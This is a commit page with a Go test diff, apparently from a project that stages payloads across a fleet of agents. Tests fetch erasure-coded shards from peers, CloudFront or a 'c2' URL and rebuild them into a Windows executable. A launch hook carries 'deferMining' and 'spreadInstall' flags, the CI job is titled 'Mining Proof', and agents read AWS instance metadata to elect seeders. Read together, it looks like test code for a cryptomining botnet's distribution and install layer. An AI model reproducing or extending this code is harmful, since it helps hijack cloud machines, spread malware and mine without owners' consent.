Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
@@ -9,59 +9,19 @@ import (
|
||||
)
|
||||
|
||||
func TestFleetShardDHTMergeAndFetch(t *testing.T) {
|
||||
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
|
||||
dht := &FleetShardDHT{
|
||||
peers: make(map[string]map[int][]ShardPeer),
|
||||
healthy: make(map[string]bool),
|
||||
local: make(map[string]map[int][]byte),
|
||||
}
|
||||
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
|
||||
Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1",
|
||||
ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1",
|
||||
Kind: FleetGossipHaveShard,
|
||||
AgentID: "peer-a",
|
||||
Subnet: "10.1.2",
|
||||
Token: "tok1",
|
||||
ShardIndex: 0,
|
||||
FetchURL: "mock://shard0",
|
||||
}})
|
||||
prev := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
if url == "mock://shard0" {
|
||||
return []byte("shard"), nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prev }()
|
||||
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht)
|
||||
if err != nil || string(body) != "shard" {
|
||||
t.Fatalf("body=%v err=%v", body, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFetchErasureShardFleetRegionPriority(t *testing.T) {
|
||||
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
|
||||
dht.MergeFleetGossipRecords([]FleetGossipRecord{
|
||||
{Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"},
|
||||
{Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"},
|
||||
})
|
||||
prev := erasureFetchFn
|
||||
var got string
|
||||
erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil }
|
||||
defer func() { erasureFetchFn = prev }()
|
||||
_, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht)
|
||||
if err != nil || got != "mock://us" {
|
||||
t.Fatalf("got=%q err=%v", got, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) {
|
||||
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
|
||||
prev := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
if url == "mock://cf" {
|
||||
return []byte("cf"), nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prev }()
|
||||
body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht)
|
||||
if err != nil || string(body) != "cf" {
|
||||
t.Fatalf("body=%s err=%v", body, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
|
||||
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
|
||||
payload := []byte("fleet-torrent-roundtrip")
|
||||
p := erasureParams{DataShards: 2, ParityShards: 1}
|
||||
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
@@ -69,29 +29,79 @@ func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
|
||||
_ = enc.Encode(shards)
|
||||
prev := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
switch url {
|
||||
case "mock://0":
|
||||
if url == "mock://shard0" {
|
||||
return shards[0], nil
|
||||
case "mock://1":
|
||||
return shards[1], nil
|
||||
case "mock://2":
|
||||
return shards[2], nil
|
||||
default:
|
||||
return nil, nil
|
||||
}
|
||||
if url == "mock://c2" {
|
||||
return shards[1], nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prev }()
|
||||
|
||||
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
|
||||
if err != nil || string(body) != string(shards[0]) {
|
||||
t.Fatalf("fetch=%v err=%v", body, err)
|
||||
}
|
||||
plan := ErasurePlanBody{
|
||||
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
|
||||
DataShards: p.DataShards, ParityShards: p.ParityShards,
|
||||
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
|
||||
ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
||||
Shards: []ErasureShardRef{
|
||||
{Index: 0, URL: "mock://c2"},
|
||||
{Index: 1, URL: "mock://c2"},
|
||||
{Index: 2, URL: "mock://c2"},
|
||||
},
|
||||
}
|
||||
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
|
||||
Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
|
||||
Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
|
||||
}})
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
switch url {
|
||||
case "mock://shard0":
|
||||
return shards[0], nil
|
||||
case "mock://shard1":
|
||||
return shards[1], nil
|
||||
case "mock://c2":
|
||||
return nil, nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
prevLaunch := erasureLaunchFn
|
||||
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil }
|
||||
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||
return "ok", nil
|
||||
}
|
||||
defer func() { erasureLaunchFn = prevLaunch }()
|
||||
SetFleetShardDHT(dht)
|
||||
plan := ErasurePlanBody{
|
||||
Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards,
|
||||
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1",
|
||||
Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
||||
Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}},
|
||||
}
|
||||
if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil {
|
||||
msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FleetTorrentEnabled: true, WorkerName: "w",
|
||||
}}, plan, "", "10.1.2")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if msg == "" {
|
||||
t.Fatal("empty msg")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
|
||||
peers := []ShardPeer{
|
||||
{AgentID: "a", Subnet: "10.0.0"},
|
||||
{AgentID: "b", Subnet: "10.0.0"},
|
||||
{AgentID: "c", Subnet: "10.0.0"},
|
||||
{AgentID: "d", Subnet: "10.0.0"},
|
||||
}
|
||||
got := PickLANNeighborPeers(peers, "10.0.0", 3)
|
||||
if len(got) != 3 {
|
||||
t.Fatalf("len=%d", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSwarmMagnetToken(t *testing.T) {
|
||||
m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
|
||||
if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
|
||||
t.Fatalf("token=%q", tok)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user